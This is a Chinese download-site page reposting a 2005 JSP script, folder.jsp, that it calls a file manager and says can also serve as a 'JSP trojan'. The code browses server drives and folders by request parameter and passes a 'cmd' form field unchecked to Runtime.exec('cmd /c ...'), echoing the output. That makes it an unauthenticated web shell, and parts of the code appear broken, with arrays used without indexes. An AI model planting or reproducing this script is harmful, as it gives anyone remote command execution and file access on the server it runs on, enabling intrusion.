极速排列3软件园:请安心下载,绿色无病毒!

软件提交最近更新热门排行
您现在的位置:首页››编程教学››Java编程››JSP 应用››文件管理软件

JSP文件管理器0.5版本,显示目录和文件,支持cmd操作,也可当jsp木马使用:

2005-07-02 04:04作者:佚名来源:本站整理浏览:1068 评论:0
想慢慢完善一下这个 folder.jsp 小程序,增加一些功能,比如文件编辑,删除等
目录操作(建立新目录,删除目录等等)

程序写的比较乱,以后慢慢整理整理

欢迎大家多提宝贵意见。




<%
/**

Jsp File Manger V0.5  windows平台的
文件名: folder.jsp
描述: 一个简单的系统文件目录显示程序,类似于资源管理器,不过功能弱多了。通过这个例子主要是学习一下SYstem.IO.File类 。
作者: 慈勤强
Emai : cqq1978@Gmail.com
*/
%>

<%@ page contentType="text/html;charset=gb2312"%>
<%@page import="java.io.*" %>
<%@page import="java.util.*"%>  
<style>
td,select,input,body
{
 font-size:9pt;
}
A { TEXT-DECORATION: none }
</style>
<title>Jsp File Manger Version0.5 --bY 慈勤强 cqq1978@Gmail.com</title>
<%!
String getDrivers()
/**
Windows系统上取得可用的所有逻辑盘
**/
{
StringBuffer sb=new StringBuffer("驱动器 : ");
File roots[]=File.listRoots();
for(int i=0;i<roots.length;i++)
{
 sb.append("<a href='?path="+roots+"'>");
 sb.append(roots+"</a>   ");
}
return sb.toString();
}
%>
<%
String strThisFile="folder.jsp";
request.setCharacterEncoding("gb2312");
String strDir = request.getParameter("path");

if(strDir==null||strDir.length()<1)
{
strDir = "c:\\";
}
StringBuffer sb=new StringBuffer("");
StringBuffer sbFile=new StringBuffer("");
try
{
out.println("<table border=1 width='100%' bgcolor='#F1f1f1'><tr><td width='30%'>当前目录: <b>"+strDir+"</b></td><td>" + getDrivers() + "</td></tr></table><br>\r\n");
File objFile = new File(strDir);
File list[] = objFile.listFiles();
if(objFile.getAbsolutePath().length()>3)
{
 sb.append("<tr><td > </td><td><a href='?path="+objFile.getParentFile().getAbsolutePath()+"'>");
 sb.append("上级目录</a><br>- - - - - - - - - - - </td></tr>\r\n");
}
for(int i=0;i<list.length;i++)
{
 if(list.isDirectory())
 {
     sb.append("<tr><td > </td><td>");
  sb.append("<a href='?path="+list.getAbsolutePath()+"'>"+list.getName()+"</a>");
  sb.append("</td></tr>");
     //sb.append("</td></tr></table>\r\n");
 }
 else
 {
     String strLen="";
  String strDT="";
  long lFile=0;
  lFile=list.length();
 
  if(lFile>1000000)
  {
   lFile=lFile/1000000;
   strLen="" + lFile + " M";
  }
  else if(lFile>1000)
  {
   lFile=lFile/1000;
   strLen="" + lFile + " K";
  }
  else
  {
   strLen="" + lFile + " Byte";
  }
  Date dt=new Date(list.lastModified());
  strDT=dt.toLocaleString();
  sbFile.append("<tr><td>");
  sbFile.append(""+list.getName());
  sbFile.append("</td><td>");
  sbFile.append(""+strLen);
  sbFile.append("</td><td>");
  sbFile.append(""+strDT);
  sbFile.append("</td><td>");
  sbFile.append("<!--修改   删除  下载  复制--> ");
  sbFile.append("</td></tr>\r\n");
     //sbFile.append("</td></tr></table>");
 }  

}
//out.println(sb.toString()+sbFile.toString());
}
catch(Exception e)
{
out.println("<font color=red>操作失败: "+e.toString()+"</font>");
}
%>


<table width="100%" border="1" cellspacing="0" cellpadding="5" bordercolorlight="#000000" bordercolordark="#FFFFFF">
     
       <tr>
         <td width="25%" align="center" valign="top">
             <table width="98%" border="0" cellspacing="0" cellpadding="3">

    <%=sb%>
               </tr>                
             </table>
         </td>
         <td width="81%" align="center" valign="top">
 <table width="98%" border="1" cellspacing="1" cellpadding="4" bordercolorlight="#cccccc" bordercolordark="#FFFFFF">
             <tr bgcolor="#E7e7e6">
               <td width="26%">文件名称</td>
               <td width="19%" align="center">文件大小</td>
               <td width="29%" align="center">修改时间</td>
               <td width="26%" align="center">文件操作</td>
             </tr>              
           <%=sbFile%>
            <!-- <tr align="center">
               <td colspan="4"><br>
                 总计文件个数:<font color="#FF0000">30</font> ,大小:<font color="#FF0000">664.9</font>
                 KB </td>
             </tr>
   -->
           </table>
         </td>
       </tr>
     </table>

<%
String strCmd="";
String line="";
StringBuffer sbCmd=new StringBuffer("");
strCmd = request.getParameter("cmd");
if(strCmd!=null)
{
try
{
 //out.println(strCmd);
 Process p=Runtime.getRuntime().exec("cmd /c "+strCmd);
 BufferedReader br=new BufferedReader(new InputStreamReader(p.getInputStream()));
 while((line=br.readLine())!=null)
 {
  sbCmd.append(line+"\r\n");  
 }    
}
catch(Exception e)
{
 System.out.println(e.toString());
}
}

%>
<form name="cmd" action="" method="post">
<input type="text" name="cmd" value="<%=strCmd%>" size=50>
<input type=submit name=submit value="执行">
</form>
<%
if(sbCmd!=null && sbCmd.toString().trim().equals("")==false)
{
%>
<TEXTAREA NAME="cqq" ROWS="20" COLS="100%"><%=sbCmd.toString()%></TEXTAREA>
<%
}
%>
Tags:责任编辑:cvery
顶一下(60)
92.31%
    1. 安卓文件管理器安卓文件管理器

      安卓文件管理器下载专区提供了最好用的最全面的安卓文件管理器和手机文件管理器免费下载。

    文章评论 极速排列3下载QQ群:① 7551827使用手机微信搜索 微信号:xinyunshouyou 关注我们 有更多惊喜!!

    请自觉遵守互联网相关政策法规,评论内容只代表网友观点,与本站立场无关!
      验证码:     登录   注册
    网友评论